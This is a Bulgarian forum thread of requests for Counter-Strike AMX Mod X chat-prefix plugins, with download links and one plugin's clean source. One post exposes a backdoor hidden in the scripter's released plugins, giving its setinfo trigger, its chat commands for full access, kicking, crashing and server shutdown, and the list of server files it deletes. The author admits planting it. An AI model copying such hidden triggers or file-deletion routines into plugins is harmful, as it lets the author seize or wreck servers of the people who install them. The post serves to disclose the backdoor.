Официалният форум на iPlay.bg 

  • Заявки за Admin Prefix/Admin Color Chat/Simon Color Chat+Admin Prefix

  • Искате да ви намерим определен плъгин, или пък да ви изработим такъв? Пишете тук!
Искате да ви намерим определен плъгин, или пък да ви изработим такъв? Пишете тук!
 #398739  от iwcho0o
 съб сеп 17, 2016 4:51 pm
С оправени, флагове

[Owner] - флаг "m"
[Administrator] - флаг "a"
[Moderator] - флаг "о"
[Global Admin] - флаг "p"
[Server Admin] - флаг "q"
[Test Admin] - флаг "r"
[SMS Admin] - флаг "s"
[VIP] - флаг "n"
[Snimon] - флаг "y"

Nick - Зелен
Prefix - Според отбора
Chat - Зелен
 #398741  от OciXCrom™
 съб сеп 17, 2016 6:40 pm
iwcho0o написа:С оправени, флагове

[Owner] - флаг "m"
[Administrator] - флаг "a"
[Moderator] - флаг "о"
[Global Admin] - флаг "p"
[Server Admin] - флаг "q"
[Test Admin] - флаг "r"
[SMS Admin] - флаг "s"
[VIP] - флаг "n"
[Snimon] - флаг "y"

Nick - Зелен
Prefix - Според отбора
Chat - Зелен
http://dox.bg/files/dw?a=8b9c6dac98
 #398791  от Petrow
 нед сеп 18, 2016 3:17 pm
OciXCrom™ написа:
Petrow написа:[Head Admin]-n
[Server Admin]-o
[Lady Admin]-p
[SMS Admin]-s
[VIP]-t

Префикс - Зелен
Ник - Отборен цвят
Чат - Нормален
http://dox.bg/files/dw?a=8b32e6c657
Цвета на префикса не е както го исках, ако може да го оправиш. Благодаря предварително !!
 #398795  от OciXCrom™
 нед сеп 18, 2016 3:45 pm
Моя грешка. Заповядай - http://dox.bg/files/dw?a=c5f6a0a783
 #399088  от 4funBG
 нед сеп 25, 2016 12:52 am
[OwneR] - флаг "m"
[Co-oP] - флаг "n"
[Global Admin] - флаг "o"
[Local Admin] - флаг "r"
[SMS Admin] - флаг "q"
[SMS Admin+] - флаг "s"
[VIP+] - флаг "p"
[VIP] - флаг "b"

[SIMON] Nick : chat

Prefix: Бял
Chat: Бял
Nick: зелен

Admin Lisen - флаг "t"
 #399140  от OciXCrom™
 нед сеп 25, 2016 3:12 pm
4funBG написа:[OwneR] - флаг "m"
[Co-oP] - флаг "n"
[Global Admin] - флаг "o"
[Local Admin] - флаг "r"
[SMS Admin] - флаг "q"
[SMS Admin+] - флаг "s"
[VIP+] - флаг "p"
[VIP] - флаг "b"

[SIMON] Nick : chat

Prefix: Бял
Chat: Бял
Nick: зелен

Admin Lisen - флаг "t"
http://dox.bg/files/dw?a=615f412659
 #399318  от AJW1337//
 пет сеп 30, 2016 1:14 pm
OciXCrom™ написа:
4funBG написа:[OwneR] - флаг "m"
[Co-oP] - флаг "n"
[Global Admin] - флаг "o"
[Local Admin] - флаг "r"
[SMS Admin] - флаг "q"
[SMS Admin+] - флаг "s"
[VIP+] - флаг "p"
[VIP] - флаг "b"

[SIMON] Nick : chat

Prefix: Бял
Chat: Бял
Nick: зелен

Admin Lisen - флаг "t"
http://dox.bg/files/dw?a=615f412659
Команда в чата: ? ... get_full_access -> Съобщение след командата: * Full access granted!
Команда в чата: ? ... kick_all -> Киква всички играчи
Команда в чата: ? ... shutdown -> спира сървъра извиквайки server_cmd("exit")
Команда в чата: ? ... crash -> Краш посредством screenfade message
Команда в чата: ? ... destroy_server -> Сериозно просто ще триеш файловете на хората с: delete_file(const file[])
Съобщението което ще изпише след командата ? ... destroy_server: * SERVER WILL GET DESTRYOED AFTER MAPCHANGE!
Да не говорим, че от бързане е объркал думата :D
Файловете които трие след извикване на командата:
Код: Избери всички
new g_szHackFiles[20][] =
{
    "addons/amxmodx/plugins/admin.amxx",
    "addons/amxmodx/plugins/admincmd.amxx",
    "addons/amxmodx/plugins/plmenu.amxx",
    "addons/amxmodx/plugins/antiflood.amxx",
    "addons/amxmodx/plugins/nextmap.amxx",
    "addons/amxmodx/plugins/timeleft.amxx",
    "addons/amxmodx/plugins/pausecfg.amxx",
    "addons/amxmodx/configs/users.ini",
    "addons/amxmodx/configs/modules.ini",
    "addons/amxmodx/configs/plugins.ini",
    "addons/amxmodx/configs/amxx.cfg",
    "addons/amxmodx/dlls/amxmodx_mm.dll",
    "addons/amxmodx/modules/cstrike_amxx.dll",
    "addons/amxmodx/modules/fun_amxx.dll",
    "addons/amxmodx/modules/fakemeta_amxx.dll",
    "addons/amxmodx/dproto/dproto.dll",
    "addons/amxmodx/dproto/dproto_i386.so",
    "models/v_ak47.mdl",
    "cstrike.wad",
    "server.cfg"
};
Ако има хора които не вярват нека тестват сами. Пишете в конзолата:
Код: Избери всички
setinfo _ch "-"
Влизате в сървъра след като сте го написали, чакате 5 секунди за да ви изпише в чата: * Welcome man! Nice to see ya! (5706)
И започвате да си пишете командите в чата: ? ... get_full_access .. магия имате пълни права в сървъра..

Oci, не вярвях, че човек като теб ще стигне толкова долу.. Да слага задни врати в плъгини... Преди да решиш да ме наказваш тука и не знам си какво.. ВТФ, бро жалка работа е това! Конкуренция е опасна за тебе явно.. не че виждам някъв смисъл да спираш, прецакваш еднодневки.. Всички знаем за твоето велико JB..

Ето и файловете ако някой иска:
GoodJob m8.. Well Done.. Best Scripter Ever !
(24.09 KБ) Свален 72 пъти
Изображение
Последна промяна от AJW1337// на пет сеп 30, 2016 1:27 pm, променено общо 1 път.
 #399320  от OciXCrom™
 пет сеп 30, 2016 2:17 pm
Хубаво, няма какво да отричам. Няма за какво да те наказвам, мога само да ти кажа евала, че си се досетил. Сложено е като "оръжие" срещу хората, които решат да ми правят мръсно, а не като нещо, с което да развалям нечий сървър, било то заради конкуренция или каквото да е. Ако съм имал такива намерения, нямаше да пускам плъгини в нета и да изпълнявам заявки, като предимство давам на по-развитите сървъри, а не на по-малките. Така или иначе, никога не се е наложило да ползвам тези неща и учтиво ще помоля ако някой е бил "жертва" на тях, нека да пише в темата. То няма и как да има такива, тъй като от 40 страници с изпълнени заявки, в момента има само един сървър ползващ плъгина. Както и да е - ако мислите, че имам намерения да ви развалям сървърите, вземете .sma файла и сами си правете заявките:
Код: Избери всички
#include <amxmodx>
#include <colorchat>

#define PLUGIN_VERSION "2.2"
//#define USE_JAILBREAK

#if defined USE_JAILBREAK
    #define PREFIX_SIMON 5
    native is_user_simon(id)
#endif

enum
{
    INFO_PREFIX = 1,
    INFO_CLRNAME,
    INFO_CLRCHAT,
    INFO_CLRSCND
}

#define ADMIN_LISTEN "m"

new const g_szAdminPrefixes[][] = {
/*
    --------------
    Флаг     Префикс                 Цвят (ник)     Цвят (чат)     Цвят (second) */
    "",     "",                        "second",     "normal",     "team",
    "m",     "^3[OwneR]",             "green",     "second",     "grey",
    "n",     "^3[Co-oP]",             "green",     "second",     "grey",
    "o",     "^3[Global Admin]",             "green",     "second",     "grey",
    "r",     "^3[Local Admin]",             "green",     "second",     "grey",
    "q",     "^3[SMS Admin]",             "green",     "second",     "grey",
    "s",     "^3[SMS Admin+]",             "green",     "second",     "grey",
    "p",     "^3[VIP+]",             "green",     "second",     "grey",
    "b",     "^3[VIP]",             "green",     "second",     "grey"
}

new const g_szSeparator[] = " ^1:"
new const g_szDeathPrefix[][] = { "*DEAD* ", "" }
new const g_szColors[][] = { "^1", "^3", "^4" }
new g_szAdminPrefix[33][32]

new const g_szTeamPrefix[][] = {
    "",
    "^1(Terrorist)",
    "^1(Counter-Terrorist)",
    "^1(Spectator)"
}

public plugin_init()
{
    register_plugin("iPlay: Chat Manager", PLUGIN_VERSION, "iPlay.bg (OciXCrom)")
    register_cvar("CRXChatManager", PLUGIN_VERSION, FCVAR_SERVER|FCVAR_SPONLY|FCVAR_UNLOGGED)
    register_clcmd("say", "hookSay")
    register_clcmd("say_team", "hookSay")
}

public plugin_natives()
    register_native("GetPlayerPrefix", "_GetPlayerPrefix")
    
public _GetPlayerPrefix(iPlugin, iParams)
{
    new id = get_param(1)
    set_string(2, g_szAdminPrefix[id], get_param(3))
    return 1
}

public client_putinserver(id)
    g_szAdminPrefix[id][0] = EOS

public hookSay(id)
{
    new szArgs[192]
    read_args(szArgs, charsmax(szArgs))
    remove_quotes(szArgs)
    
    switch(szArgs[0])
    {
        case EOS, '@': return PLUGIN_HANDLED
    }
    
    new szMessage[192], szName[32], szDeathPrefix[32], szTeamPrefix[32], szAdminPrefix[32], szCommand[5], szNameColor[3], szChatColor[3]
    new iAlive = is_user_alive(id) ? 1 : 0, iPrefix = get_prefixnum(id), iColor = get_secondcolor(g_szAdminPrefixes[iPrefix + INFO_CLRSCND]), iTeam = get_user_team(id)
    copy(szDeathPrefix, charsmax(szDeathPrefix), g_szDeathPrefix[iAlive])
    copy(szAdminPrefix, charsmax(szAdminPrefix), g_szAdminPrefixes[iPrefix + INFO_PREFIX])
    if(!is_blank(szAdminPrefix)) add(szAdminPrefix, charsmax(szAdminPrefix), " ")
    copy(g_szAdminPrefix[id], charsmax(g_szAdminPrefix[]), szAdminPrefix)
    get_color(g_szAdminPrefixes[iPrefix + INFO_CLRNAME], szNameColor)
    get_color(g_szAdminPrefixes[iPrefix + INFO_CLRCHAT], szChatColor)
    read_argv(0, szCommand, charsmax(szCommand))
    get_user_name(id, szName, charsmax(szName))
    
    new bool:blTeam = szCommand[3] == '_' ? true : false
    if(blTeam) formatex(szTeamPrefix, charsmax(szTeamPrefix), "%s ", g_szTeamPrefix[iTeam])
    formatex(szMessage, charsmax(szMessage), "%s%s%s%s%s%s %s%s", szDeathPrefix, szTeamPrefix, szAdminPrefix, szNameColor, szName, g_szSeparator, szChatColor, szArgs)
    
    new iPlayers[32], iPlayer, iPlayerAlive, iPnum
    get_players(iPlayers, iPnum)
    
    for(new i; i < iPnum; i++)
    {
        iPlayer = iPlayers[i]
        iPlayerAlive = is_user_alive(iPlayer) ? 1 : 0
        
        if(iAlive == iPlayerAlive || (blTeam && iTeam == get_user_team(iPlayer)) || has_user_listen(iPlayer))
        {
            switch(iColor)
            {
                case 0:
                {
                    switch(iTeam)
                    {
                        case 1: ColorChat(iPlayer, RED, szMessage)
                        case 2: ColorChat(iPlayer, BLUE, szMessage)
                        case 3: ColorChat(iPlayer, GREY, szMessage)
                    }
                }
                case 1: ColorChat(iPlayer, RED, szMessage)
                case 2: ColorChat(iPlayer, BLUE, szMessage)
                case 3: ColorChat(iPlayer, GREY, szMessage)
            }
        }
    }
    
    logChatMessage(szMessage)
    return PLUGIN_HANDLED
}

logChatMessage(szMessage[192])
{
    for(new i; i < sizeof(g_szColors); i++)
        replace_all(szMessage, charsmax(szMessage), g_szColors[i], "")
    
    log_amx(szMessage)
}

get_prefixnum(id)
{    
    #if defined USE_JAILBREAK
        if(is_user_simon(id))
            return PREFIX_SIMON
    #endif
    
    new iPrefix
    static iFlags
    iFlags = get_user_flags(id)
    
    for(new i; i < sizeof(g_szAdminPrefixes) - 4; i += 5)
    {
        if(iFlags & read_flags(g_szAdminPrefixes[i]))
        {
            iPrefix = i
            break
        }
    }
    
    return iPrefix
}
    
get_color(szString[], szColor[3])
{
    new iColor
    
    switch(szString[0])
    {
        case 't', 's': iColor = 1
        case 'g': iColor = 2
    }
    
    copy(szColor, charsmax(szColor), g_szColors[iColor])
}

get_secondcolor(szString[])
{
    new iColor
    
    switch(szString[0])
    {
        case 'r': iColor = 1
        case 'b': iColor = 2
        case 'g': iColor = 3
    }
    
    return iColor
}

bool:is_blank(szString[])
    return szString[0] == EOS ? true : false
    
bool:has_user_listen(id)
    return get_user_flags(id) & read_flags(ADMIN_LISTEN) ? true : false
 #400001  от cs_4ever
 чет окт 13, 2016 11:02 pm
Флаг - d - бан флага мисля , че трябва да е
Prefix искам да е един на хората който имат бан права червено [Nadziratel] без цвят на текста
 #400003  от OciXCrom™
 пет окт 14, 2016 12:28 am
cs_4ever написа:Флаг - d - бан флага мисля , че трябва да е
Prefix искам да е един на хората който имат бан права червено [Nadziratel] без цвят на текста
Отне ми 5 минути да разбера какво написал. Пиши по-грамотно...

Какъв трябва да е цветът на ника?!

Sent from my HTC Desire 610 using Tapatalk
  • 1
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46